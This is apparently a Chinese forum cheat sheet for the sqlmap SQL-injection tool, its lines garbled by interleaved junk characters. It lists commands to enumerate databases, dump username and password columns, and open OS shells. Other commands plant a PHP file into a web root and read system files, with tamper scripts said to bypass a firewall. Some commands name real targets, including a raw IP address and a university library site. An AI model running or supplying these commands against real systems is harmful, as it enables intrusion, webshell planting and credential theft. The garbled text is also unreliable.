/pentest/database/sqlmap
! f: F3 W1 S0 w& y( p: Q
9 M: P3 M$ L/ ]2 h. q3 ]; iupdate :::::> in the folder after execute following order : svn update; ~" _ R! C5 U/ N( B B
7 _( y/ r @/ x
sqlmap.py -r 1.txt --current-db
: B7 Y7 q9 O* s4 p; T/ q3 T
6 ~/ C# h) M0 x1 i& U# Iv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”6 \( A3 H, u/ l) z
6 X4 A" Y0 x$ B
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
" c: z" w3 q h+ K0 v0 q1 U0 F+ ^猜解数据库7 ?3 m6 t" a" X$ U
./sqlmap.py -u "injection-url" --dbs
- U ~ {) z' l e1 `1 W; xsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"6 I# w0 E2 w0 F2 k
1 B: s# a# `3 r" q: f# o4 {猜解表名4 i( D X0 A T4 v4 k2 w
./sqlmap.py -u "injection-url" -D database_name --tables
, y" t$ V' x# v/ [
; `: R( a0 B8 k& O& a$ s6 J& tsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
- E) {( ]2 t; X/ L) ?2 K- l, \sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
' u6 F n$ j! B, G2 X% t" {% W+ n$ V; G$ d' Q6 ?
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
+ x+ o% ^* S ]
# z5 L: d( m4 esqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py") B0 O3 L, {" @9 r. R
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"3 ?1 Z5 T- B7 m$ t# t
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" ( y1 n5 B+ |4 e6 Z( q# V$ d! i
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
$ b @! u$ \. ~$ y( A
. \; c% }( R7 B' I; hsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"" R$ q9 K% g: T3 O$ _* d
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
r( o* m p7 T( ^( B8 |: R7 Tsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"% V6 v2 V* j6 }3 G& M+ q. ]
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
3 }. B+ d$ O# xsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
+ n; v. m+ q, u2 b* R
( ?3 P) Z2 n2 Y7 \& Rsqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
# I( z' G; K2 o+ ~! r9 b9 hsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
/ i9 w1 h; w$ X D, k; S$ K* J3 `& a6 L4 L' S
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
8 p8 h7 O* ]) M" }- d, X u猜解列名2 x% n% {2 L$ P: W* k
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns$ R7 N0 l1 {9 f* ?, Q2 j
8 G9 V+ d' f( u" Y2 p- L
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 7 Y! D: ^* R7 s4 O7 m
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" & s. F) V8 }0 W( Z
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
' p9 x0 \7 v+ L/ }+ n; P2 s
! S& T& h+ E. O- B; x* e* y1 ]sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
+ v8 N' h$ `, V# r+ E1 P; \1 n0 R* \&submit=Go J- ^* A% q' V6 }& Q
猜解值
& r$ l8 v. m, n& k2 X( [ \./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump$ U6 s& q$ @; |: C6 @
========================================================
' ^/ _: j# a f0 B: m搜索表名中包括mana字符的
/ \0 k$ @% U: m& t/sqlmap.py -u "injection-url" -T mana --search% h$ T2 V) C$ n# o& ^
返回一个交互式sql shell
$ `+ m) d+ I, Q6 z/sqlmap.py -u "injection-url" --sql-shell
& v7 f% K% I! w, ~$ G读取指定文件(需权限)
- A/ `7 }7 z6 E! t/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
8 J% ^8 M- L1 L) ^& h% j9 n* U) B7 \2 s查看当前 用户 及 数据库 ' P1 p$ [- U H6 E
/sqlmap.py -u "injection-url" --current-user --current-db
' }1 |& w' k$ y; t3 D本地文件 写入 远程目标绝对路径7 ^1 o+ v* W/ x
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径 I0 z" c7 |2 g% B) x
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
$ ]" A, |- R2 u, J W/ T- t7 g9 G) J
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径, d' \9 C: H/ v# O6 M" ~
查看某用的权限
% d' |8 f# ~/ u7 A$ x" u* g1 F/sqlmap.py -u "injection-url" --privileges -U root
% ]/ E: u* l8 \( Q4 u) ]查看当前用户是否为dba
! e) ]) _2 N. w; G/sqlmap.py -u "injection-url" --is-dba; a5 a2 J7 Q; d) {
读取所有数据库用户或指定数据库用户的密码/ x: i! U4 _% x2 M& l0 L4 E
sqlmap.py -r 1.txt --users --passwords& ?/ U( p5 e/ U ~$ M8 p
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 2 }1 G6 M1 }+ D2 Z
1 I1 s" q# H1 k/ T' v9 Q4 X- O' Y/sqlmap.py -u "injection-url" --passwords -U root
+ B$ I5 L$ t& c- H
1 N3 _. H/ X/ N' r--start&&--stop 与 --first&&--last 的区别
" o; G* l9 r3 B% L8 \6 [& x/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
: N# b- Q/ l9 M. @' _; W1 o0 [# Y, k3 @9 u1 {' u5 e- R
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)( N' ^7 P3 x7 d
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables: _6 E( @/ ]2 U/ h; \3 ~
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns* p& R3 G* R% Z+ Q$ g- p
/ v' d0 F0 S! b% J L" Q
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
9 u! n) {# S' I4 _5 j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip". y* {/ d9 A# K! f3 O
9 C0 u. f6 I4 w+ R0 }' d
|